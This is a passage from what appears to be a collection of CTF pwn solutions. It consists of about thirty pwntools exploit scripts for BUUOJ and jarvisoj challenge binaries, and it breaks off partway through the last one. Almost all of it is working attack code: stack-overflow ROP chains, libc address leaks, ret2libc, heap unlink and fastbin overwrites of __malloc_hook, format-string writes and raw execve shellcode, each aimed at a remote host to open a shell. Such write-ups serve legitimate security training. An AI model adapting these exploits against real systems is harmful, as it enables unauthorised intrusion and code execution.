__malloc_hook =main_arena - 88 - 0x10
libc = __malloc_hook - lib.symbols['__malloc_hook']
__free_hook = libc + lib.symbols['__free_hook']
system = libc + lib.symbols['system']
log.success("main_arena: " + hex(main_arena))
log.success("__malloc_hook: " + hex(__malloc_hook))
log.success("__free_hook: ")
payload = 'a' * 280 + p64(0x666) + p64(__free_hook) + p64(0x100) + p64(heap_base + 0x10)
edit(0,payload,'b')
edit(1,p64(system),'/bin/sh\x00')
empty(0)
sh.interactive()

0x77 axb_2019_brop64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("axb_2019_brop64")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		sh = process("./axb_2019_brop64")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
	pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
	offset = 216
	payload = offset * "a"
	payload += p64(pop_rdi_ret)
	payload += p64(elf.got['__libc_start_main'])
	payload += p64(elf.plt['puts'])
	payload += p64(0x4007D6)
	sh.sendline(payload)
	__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	payload = offset * "a"
	payload += p64(pop_rdi_ret)
	payload += p64(binsh)
	payload += p64(system)
	payload += p64(0xdeadbeef)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",29654,0)

0x78 jarvisoj_tell_me_something

1
2
3
4
5
6
7
8
9
from pwn import *
#sh = process("./guestbook")
sh = remote("node3.buuoj.cn",25564)
junk = 'a' * 0x88
shell_address = 0x0000000000400620
payload = junk + p64(shell_address)
sh.send(payload)
sh.recvuntil("message:\n")
sh.interactive()

0x79 jarvisoj_level3_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
sh=remote("node3.buuoj.cn",25389)
#sh = process ('./level3_x64')
elf = ELF("level3_x64")
libc = ELF("libc-2.23 .so")
write_addr = elf.symbols['write']
read_addr = elf.symbols['read']
start_addr = elf.symbols['_start']
__libc_start_main_addr = elf.got['__libc_start_main']
bss_addr = elf.bss()
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1
payload =  'a' * 136
payload +=   p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret)  + p64(__libc_start_main_addr) + p64(1)  + p64(write_addr)
payload += p64(0x00000000004005E6)
sh.sendline(payload)
__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00')) 
libc_base = __libc_start_main - libc.symbols['__libc_start_main']
ret_text = u64(sh.recv(8))
system_addr = libc_base + libc.symbols['system']
shell_addr = libc_base + next(libc.search('/bin/sh\0'))
payload = 'a'*136 + p64(pop_rdi_ret) + p64(shell_addr) + p64(system_addr)
sh.sendline(payload)
sh.interactive()

0x80 jarvisoj_level0

1
2
3
4
5
6
7
8
from pwn import *
#sh = process("./level0")
sh = remote("node3.buuoj.cn",29420)
offset = 136
payload = offset * "a"
payload += p64(0x0000000000400596)
sh.send(payload)
sh.interactive()

0x81 jarvisoj_level1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("level1")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		sh = process("./level1")
	else:
		sh = remote(ip,port)
	pop_ebx_ret = elf.search(asm("pop ebx\nret")).next()
	pop3_ret = elf.search(asm("pop esi\npop edi\npop ebp\nret")).next()
	offset = 140
	payload = offset * "a"
	payload += p32(elf.plt['read'])
	payload += p32(pop3_ret)
	payload += p32(0)
	payload += p32(elf.bss())
	payload += p32(0x300)
	payload += p32(elf.bss())
	sh.sendline(payload)
	sleep(0.2)
	sh.sendline(asm(shellcraft.sh()))
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",27154,0)

0x82 jarvisoj_level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level = "debug"
#sh = process("./level2")
sh = remote("node3.buuoj.cn",26267)
elf = ELF("level2")
offset = 140
pop3_ret = 0x08048519
payload = offset * "a"
payload += p32(elf.plt['read'])
payload += p32(pop3_ret)
payload += p32(0) + p32(elf.bss()) + p32(0x100)
payload += p32(elf.plt['system'])
payload += p32(0xdeadbeef)
payload += p32(elf.bss())
sh.send(payload)
sleep(0.1)
sh.send('/bin/sh\x00')
sh.interactive()

0x83 jarvisoj_level2(x64)

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
#sh = process("level2_x64")
sh = remote("node3.buuoj.cn",27781)
elf = ELF("level2_x64")
offset = 0x88
payload = offset * "a"
payload += p64(0x4006b3)#pop rdi   ret
payload += p64(elf.search('/bin/sh\x00').next())
payload += p64(elf.plt['system'])
sh.send(payload)
sh.interactive()

0x84 jarvisoj_leve3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level = "debug"
lib = ELF("libc-2.23_x32.so")
elf = ELF("level3")
#sh = process("./level3")
sh = remote("node3.buuoj.cn",28412)
#libc leak
payload = 'a' * (0x88 + 4)
payload += p32(elf.plt['write'])
payload += p32(0x08048519)
payload += p32(1)
payload += p32(elf.got['__libc_start_main'])
payload += p32(4)
payload += p32(elf.symbols['main'])#control EIP
sh.send(payload)
__libc_start_main = u32(sh.recvuntil("\xf7")[-4:])
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc + lib.symbols['system']
binsh = libc + lib.search("/bin/sh\x00").next()
payload = 'a' * (0x88 + 4)
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)
sh.send(payload)
sh.interactive()

0x85 jarvisoj_level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("level4")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		sh = process("./level4")
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23_x32.so")
	pop_ebx_ret = elf.search(asm("pop ebx\nret")).next()
	pop3_ret = elf.search(asm("pop esi\npop edi\npop ebp\nret")).next()
	offset = 140
	payload = offset * 'a'
	payload += p32(elf.plt['write'])
	payload += p32(0x08048470)
	payload += p32(1)
	payload += p32(elf.got['__libc_start_main'])
	payload += p32(4)
	sh.sendline(payload)
	__libc_start_main = u32(sh.recvuntil("\xf7")[-4:])
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	
	sleep(0.2)
	payload = offset * 'a'
	payload += p32(system)
	payload += p32(0x08048470)
	payload += p32(binsh)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",25858,0)

0x86 jarvisoj_level5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("level3_x64")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global sh
	if debug == 1:
		sh = process("./level3_x64")
		lib = ELF("libc6_2.23-0ubuntu10_amd64.so")
	else:
		sh = remote(ip,port)
		lib = ELF("libc6_2.19-0ubuntu6.14_amd64.so")
	offset = 136
	pop_rdi_ret = 0x00000000004006b3
	pop_rsi_r15_ret = 0x00000000004006b1
	pop_rbx_rbp_r12_r13_r14_r15_ret = 0x00000000004006AA
	mov_edx_call = 0x0000000000400690
	vul_addr = 0x00000000004005E6
	#leak libc
	payload = offset * "a"
	payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got['__libc_start_main']) + p64(0) + p64(elf.plt['write']) + p64(elf.symbols['main'])
	sleep(0.2)
	sh.send(payload)
	sh.recvuntil("Input:\n")
	__libc_start_main = u64(sh.recv(8))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	mprotect_addr = libc + lib.symbols['mprotect']
	log.success("__libc_start_main: " + hex(__libc_start_main))
	log.success("libc: " + hex(libc))
	log.success("mprotect_addr: " + hex(mprotect_addr))
	#write shellcode to bss and write vul_addr to bss_head
	payload = offset * "a"
	payload += p64(pop_rdi_ret) + p64(0) #rdi = 0
	payload += p64(pop_rsi_r15_ret) + p64(elf.bss()) + p64(0) #rsi=bss   r15 = 0
	payload += p64(elf.plt['read']) + p64(vul_addr)
	sleep(0.2)
	sh.send(payload)
	payload = p64(mprotect_addr) + "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
	sh.send(payload)
	sh.recvuntil("Input:\n")
	#mprotect
	payload = offset * "a"
	payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
	payload += p64(0) #rbx
	payload += p64(1) #rbp
	payload += p64(elf.bss()) #r12
	payload += p64(7) #r13 to rdx
	payload += p64(0x1000) #r14 to rsi
	payload += p64((elf.bss() >> 16) << 16) #r15 to rdi
	payload += p64(mov_edx_call)
	payload += p64(0) * 7
	payload += p64(vul_addr)
	sleep(0.2)
	sh.send(payload)
	sh.recvuntil("Input:\n")
	payload = offset * "a"
	payload += p64(elf.bss() + 8)
	sleep(0.2)
	sh.send(payload)
	sh.interactive()
if __name__ == "__main__":
	#nc pwn2.jarvisoj.com 9884
	pwn("pwn2.jarvisoj.com",9884,1)

0x87 jarvisoj_level6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context.log_level = "debug"
sh = 0
elf = ELF("freenote_x86")
def showlist():
	sh.recvuntil("Your choice: ")
	sh.sendline("1")
def add(size,content):
	sh.recvuntil("Your choice: ")
	sh.sendline("2")
	sh.recvuntil("Length of new note: ")
	sh.sendline(str(size))
	sh.recvuntil("Enter your note: ")
	sh.send(content)
def free(index):
	sh.recvuntil("Your choice: ")
	sh.sendline("4")
	sh.sendline(str(index))
def edit(index,size,content):
	sh.recvuntil("Your choice: ")
	sh.sendline("3")
	sh.recvuntil("Note number: ")
	sh.sendline(str(index))
	sh.recvuntil("Length of note: ")
	sh.sendline(str(size))
	sh.recvuntil("Enter your note: ")
	sh.send(content)
def pwn(ip,port,debug):
	#bss 804A2EC
	global sh
	offset = 0
	if debug == 1:
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
		sh = process("./freenote_x86")
	else:
		lib = ELF("libc-2.23_x32.so")
		sh = remote(ip,port)
	add(7,"a"*7)	#idx 0
	add(7,'a'*7)	#idx 1
	free(0)
	add(4,"aaaa")		#idx 2
	showlist()
	sh.recvuntil("0. aaaa")
	libc = u32(sh.recv(4)) - 48 - 0x18 - lib.symbols['__malloc_hook']
	__malloc_hook = libc - 8
	add(7,"b"*7)	#idx 3
	add(7,"c"*7)	#idx 4
	free(0)
	free(2)
	add(4,"aaaa")
	showlist()
	sh.recvuntil("0. aaaa")
	heap_base = (u32(sh.recv(4)) >> 12) << 12
	free(0)
	free(1)
	free(3)
	payload = p32(0x0) + p32(0x81) + p32(heap_base + 0x18 - 12) + p32(heap_base + 0x18 - 8) + p32(0x80)	#chunk0
	payload = payload.ljust(0x80,"6")
	payload += p32(0x80) + p32(0x80)	#chunk1
	payload = payload.ljust(256,"9")
	payload += p32(0x80) + p32(0x81)	#chunk2
	add(len(payload),payload)
	free(1)
	payload = "a"*20
	add(len(payload),payload)
	showlist()
	system_addr = libc + lib.symbols['system']
	binsh_addr = libc + next(lib.search("/bin/sh\x00"))
	add(0x50,0x50*"a")
	payload = "\x250\x00\x00" + p32(1)+p32(0x4) + p32(elf.got['free']) + p32(1) + p32(0x14) + p32(heap_base+0xc280) + p32(1) + p32(0x8) + p32(heap_base + 0xda8) + p32(0) + p32(heap_base + 0xB80) + p32(0)
	payload = payload.ljust(0x108,"\x00")
	edit(0,0x108,payload)
	edit(0,4,p32(system_addr))
	edit(2,8,"/bin/sh\x00")
	showlist()
	free(2)
	log.success("libc: " + hex(libc))
	log.success("heap_base: " + hex(heap_base))	
	log.success("system_addr: " + hex(system_addr))
	log.success("binsh_addr: " + hex(binsh_addr))
	sh.interactive()	
if __name__ == "__main__":
	#nc pwn2.jarvisoj.com 9885	
	pwn("node3.buuoj.cn",27261,0)

0x88 jarvisoj_level6(x64)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("freenote_x64")
sh = 0
lib = 0
def showlist():
	sh.recvuntil("Your choice: ")
	sh.sendline("1")
def add(size,content):
	sh.recvuntil("Your choice: ")
	sh.sendline("2")
	sh.recvuntil("Length of new note: ")
	sh.sendline(str(size))
	sh.recvuntil("Enter your note: ")
	sh.send(content)
def free(index):
	sh.recvuntil("Your choice: ")
	sh.sendline("4")
	sh.sendline(str(index))
def edit(index,size,content):
	sh.recvuntil("Your choice: ")
	sh.sendline("3")
	sh.recvuntil("Note number: ")
	sh.sendline(str(index))
	sh.recvuntil("Length of note: ")
	sh.sendline(str(size))
	sh.recvuntil("Enter your note: ")
	sh.send(content)
def pwn(ip,port,debug):
	global sh
	global lib
	offset = 0
	if(debug == 1):
		sh = process("./freenote_x64")
		lib = ELF("libc-2.23.so")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23_x64.so")
	#leak libc
	add(0x80,"a"*0x80)#idx 0
	add(0x80,"b"*0x80)#idx 1
	free(0)
	add(0x8,"a"*8)#idx 0
	showlist()
	sh.recvuntil("0. aaaaaaaa")
	libc = u64(sh.recvuntil("\x0a",True).ljust(0x8,"\x00")) - 88 - lib.symbols['__malloc_hook'] - 0x10
	system_addr = libc + lib.symbols['system']
	binsh = libc + next(lib.search("/bin/sh\x00"))
	#leak heap_base
	add(0x80,"c"*0x80) #idx 2
	add(0x80,"d"*0x80) #idx 3
	free(0)
	free(2)
	add(0x8,"d"*8)
	showlist()
	sh.recvuntil("0. dddddddd")
	heap_base = sh.recvuntil("\x0a",True)
	heap_base = heap_base.ljust(0x8,"\x00")
	heap_base = (u64(heap_base) - 0x1000)
	heap_base = (heap_base >> 12) << 12
	free(0)
	free(1)
	free(3)	
	#unlink
	payload = p64(0x0) + p64(0x81) + p64(heap_base + 6 * 0x8 - 0x18) + p64(heap_base + 0x8 * 6 - 0x10)
	payload = payload.ljust(0x80,"\xbb")
	payload += p64(0x80) + p64(0x80)
	payload = payload.ljust(0x80+0x80,"\xaa")
	add(len(payload),payload)
	#input()
	free(1)
	payload = p64(1) + p64(1) + p64(0x100) + p64(heap_base + 0x18) + p64(1) + p64(8) + p64(heap_base + 0x1840) + p64(0) * 2 + p64(heap_base + 0x1950) + p64(0) + p64(0) + p64(heap_base + 0x19e0)
	payload = payload.ljust(0x400,"a")
	add(0x400,payload)
	add(0x8,"\x44"*0x8)
	#write system to free_got

	payload = p64(2) + p64(1) + p64(0x100) + p64(heap_base + 0x18) + p64(1) + p64(0x8) + p64(elf.got['free']) + p64(1) + p64(0x8) + p64(heap_base + 0x1950) + p64(0) + p64(0) + p64(heap_base + 0x19e0)
	payload = payload.ljust(0x100,"a")
	edit(0,0x100,payload)
	showlist()
	edit(1,0x8,p64(system_addr))
	payload = p64(2) + p64(1) + p64(0x100) + p64(heap_base + 0x18) + p64(1) + p64(8) + p64(binsh)+ p64(1) + p64(0x8) + p64(heap_base + 0x1950) + p64(1) + p64(0x8) +  p64(heap_base + 0x19e0)
	payload = payload.ljust(0x100,"a")	
	edit(0,0x100,payload)
	free(1)
	log.success("libc: " + hex(libc))
	log.success("binsh: " + hex(binsh))
	log.success("system_addr: " + hex(system_addr))
	log.success("heap_base: " + hex(heap_base))
	#gdb.attach(sh.pid)
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",29160,0)

0x89 jarvisoj_test_your_memory

1
2
3
4
5
6
7
8
9
from pwn import *
sh = remote("node3.buuoj.cn",29078)
#sh = process("memory")
system_address = 0x080485BD
junk = 'a' * 0x13
ebp = 'a' * 0x4
payload = junk + ebp + p32(system_address) + p32(0x080487E0) + p32(0x080487E0)
sh.send(payload)
sh.interactive()

0x90 jarvisoj_itemboard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.log_level = "debug"
lib = ELF("libc-2.23_x64.so")
sh = 0
def free(idx):
	sh.recvuntil("choose:\n")
	sh.sendline("4")
	sh.recvuntil("Which item?\n")
	sh.sendline(str(idx))
def show(idx):
	sh.recvuntil("choose:\n")
	sh.sendline("3")
	sh.recvuntil("Which item?")
	sh.sendline(str(idx))
def showList():
	sh.recvuntil("choose:\n")
	sh.sendline("2")

def add(name,size,content):
	sh.recvuntil("choose:\n")
	sh.sendline("1")
	sh.recvuntil("Item name?")
	sh.sendline(name)
	sh.recvuntil("len?\n")
	sh.sendline(str(size))
	sh.recvuntil("Description?\n")
	sh.sendline(content)
def pwn(ip,port,debug):
	global sh
	if(debug == 1):
		sh = process("./itemboard")
	else:
		sh = remote(ip,port)
	add("a"*0x10,0x80,"1"*0x7F)
	add("b"*0x10,0x10,"2"*0xF)
	free(0)
	show(0)
	sh.recvuntil("Description:")
	main_arena = u64(sh.recv(6)+"\x00\x00") - 88
	libc = main_arena - lib.symbols['__malloc_hook'] - 0x10
	system_addr = libc + lib.symbols['system']
	add("c"*0x10,0x20,"3"*0xF)
	add("d"*0x10,0x20,"4"*0xF)
	free(1)
	free(2)
	show(2)
	log.success("main_arena: " + hex(main_arena))
	log.success("system_addr: " + hex(system_addr))
	log.success("libc: " + hex(libc))
	add("6666",24,"/bin/sh;eeeeeeee"+p64(system_addr))
	free(1)

	sh.interactive()
#nc pwn2.jarvisoj.com 9887
if __name__ == "__main__":
	pwn("node3.buuoj.cn",27048,0)

0x91 jarvisoj_fm

1
2
3
4
5
6
from pwn import *
sh = remote("node3.buuoj.cn",28276)
#sh = process("./fm")
payload = p32(0x0804A02C)+'%11$n'
sh.send(payload)
sh.interactive()

0x92 pwnable_orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("orw")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		sh = process("./orw")
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	shellcode = shellcraft.open("/flag")
	shellcode += shellcraft.read(3,elf.bss(),0x100)
	shellcode += shellcraft.write(1,elf.bss(),0x100)
	sh.sendline(asm(shellcode))
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",28498,0)

0x93 jarvisoj_typo

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
#sh = process("./typo")
sh = remote("node3.buuoj.cn",28213)
elf = ELF("typo")
offset = 112
pop3_ret = 0x00020904
payload  = offset * "a" 
payload += p32(pop3_ret) + p32(elf.search("/bin/sh\x00").next()) + p32(0) + p32(0x110B4)
sh.sendlineafter("\n","")
sh.send(payload)
sh.interactive()

0x94 others_shellcode

1
连接就出flag 有点水

0x95 huxiangbei_2019_hacknote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("HackNote")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		sh = process("./true")
	else:
		sh = remote(ip,port)
	def add(size,content):
		sh.sendlineafter("-----------------","1")
		sh.sendlineafter("Input the Size",str(size))
		sh.sendafter(":",content)
	def free(idx):
		sh.sendlineafter("-----------------","2")
		sh.sendlineafter(":",str(idx))
	def edit(idx,content):
		sh.sendlineafter("-----------------","3")
		sh.sendlineafter(":",str(idx))
		sh.sendafter(":",content)
	shellcode = asm("xor rax,rax")
	shellcode += '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
	__free_hook = 0x6CD5E8
	__malloc_hook = 0x6CB788
	add(0x18,'\x11'*0x18)
	edit(0, '\x11'*0x18)
	add(0x18, '\x12'*0x18)
	add(0x40-8,'\x13'*0x38)
	add(0x10, '\x14'*0x10)
	add(0x10, '\x15'*0x10)
	edit(0,'\x11'*0x18+'\x81'+'\n')
	free(2)
	free(1)
	add(0x80-8,'A'*0x18+p64(0x41)+p64(__malloc_hook - 0x10  - 6)+'\n')
	add(0x38,'aaaa\n')
	add(0x38,'aaaaaa' + p64(__malloc_hook + 8) + shellcode + "\n")
	add(0x88,'\n')
	'''
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	log.success("libc: " + hex(libc))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("__free_hook: " + hex(__free_hook))
	log.success("__malloc_hook: " + hex(__malloc_hook))
	'''
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",26378,0)

0x96 shanghai2019_boringheap

该exp是真实比赛的exp，ubuntu16，Buuoj为Ubuntu18

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		#sh = process("./pwn",env={"LD_PRELOAD":"/home/pig/Pig/CTF/ShangHai/19.11.2/pwn/boringheap/libc.so"})
		sh = process("./pwn")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23_x64.so")
	def add(size,content):
		sh.sendlineafter("5.","1")#0x20 0x30 0x40
		sh.sendlineafter("3.Large",str(size))
		sh.sendafter(":",content)
	def edit(idx,size,content):
		sh.sendlineafter("5.","2")
		sh.sendlineafter("?",str(idx))
		sh.sendlineafter("?",str(size))
		sh.sendafter(":",content)
	def show(idx):
		sh.sendlineafter("5.","4")
		sh.sendlineafter("?",str(idx))
	def free(idx):
		sh.sendlineafter("5.","3")
		sh.sendlineafter("?",str(idx))
	add(3,"\x11" * 0x40)
	add(2,'\x12' * 0x30)
	add(3,'\x13' * 0x40)
	add(3,'\x14' * 0x40)
	add(1,p64(0) + p64(0x51) + "\n")
	#payload = 'a' * 0x28 + '\xa1'
	payload = p64(0)*3 + p64(0x91) + '\n'
	edit(1,0x80000000,payload)
	free(1)
	add(2,'\n')
	show(5)
	libc = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00')) - 2 + 8 - lib.symbols['__malloc_hook']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	add(3,'\x15' * 0x40)
	free(2)
	free(4)
	edit(6,0,p64(__malloc_hook - (0x7fd96e4f4b10 - 0x7fd96e4f4b2d)) + '\n')
	
	add(3,'\n')
	add(3,'\x00'*3 + p64(__malloc_hook + 0x10 + 48) + p64(0)*2 + p64(0x51) + '\n')
	add(3,'a' * 0x17+'\n')
	show(9)
	sh.recvuntil("a" * 0x17 + '\n')
	heap_base = (u64(sh.recvuntil("\n",True)[-6:].ljust(8,'\x00')) >> 12) << 12
	pie = heap_base - 0x203000
	chunk_list = pie + 0x2020C0
	
	#edit(8,0,'\x00'*3 + p64(heap_base + 0x140) + p64(0) * 2 + "\n")
	edit(8,0,'\x00'*3 + p64(0) * 5 + "\n")
	#add(3,p64(0) * 3 + p64(0xffffffffffffffff) + "\n")
	edit(9,0,p64(0) * 3 + p64(__malloc_hook - 0x10) + "\n")
	#add(3,'\x00' * 3 + p64(0) + p64(__free_hook) + p64(0) + p64(binsh) + "\n")
	#edit(3,0,p64(system) + "\n")
	#free(5)
	#add(1,'/bin/sh\n')
	'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
	'''
	one_gadget = libc + 0xf1147
	add(2,p64(one_gadget) + '\n')
	sh.sendlineafter("5.","1")
	sh.sendlineafter("3.","1")
	log.success("heap_base: " + hex(heap_base))
	log.success("libc: " + hex(libc))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("__free_hook: " + hex(__free_hook))
	log.success("__malloc_hook: " + hex(__malloc_hook))	
	log.success("libc: " + hex(libc))
	#gdb.attach(sh)
	'''
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	log.success("libc: " + hex(libc))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("__free_hook: " + hex(__free_hook))
	log.success("__malloc_hook: " + hex(__malloc_hook))
	'''
	sh.interactive()
if __name__ == "__main__":
	pwn("node3.buuoj.cn",26065,1)

0x97 shanghai2019_login

该exp是真实比赛的exp，ubuntu16，Buuoj为Ubuntu18

爆破libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("login")
lib = 0
sh = 0
def pwn(ip,port,debug):
	global lib
	global sh
	if(debug == 1):
		sh = process("./login")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23_x64.so")
	def register(idx,size,content):
		sh.sendlineafter(":","2")
		sh.sendlineafter(":",str(idx))
		sh.sendlineafter(":",str(size))
		sh.sendafter(":",str(content))
	def login(idx,size,content):
		sh.sendlineafter(":","1")
		sh.sendlineafter(":",str(idx))
		sh.sendlineafter(":",str(size))
		sh.sendafter(":",content)
	def free(idx):
		sh.sendlineafter(":","3")
		sh.sendlineafter(":",str(idx))
	def edit(idx,content):
		sh.sendlineafter(":","4")
		sh.sendlineafter(":",str(idx))
		sh.sendafter(":",str(content))
	def bomb(pos,content):
		global sh
		for i in range(0,0xff):
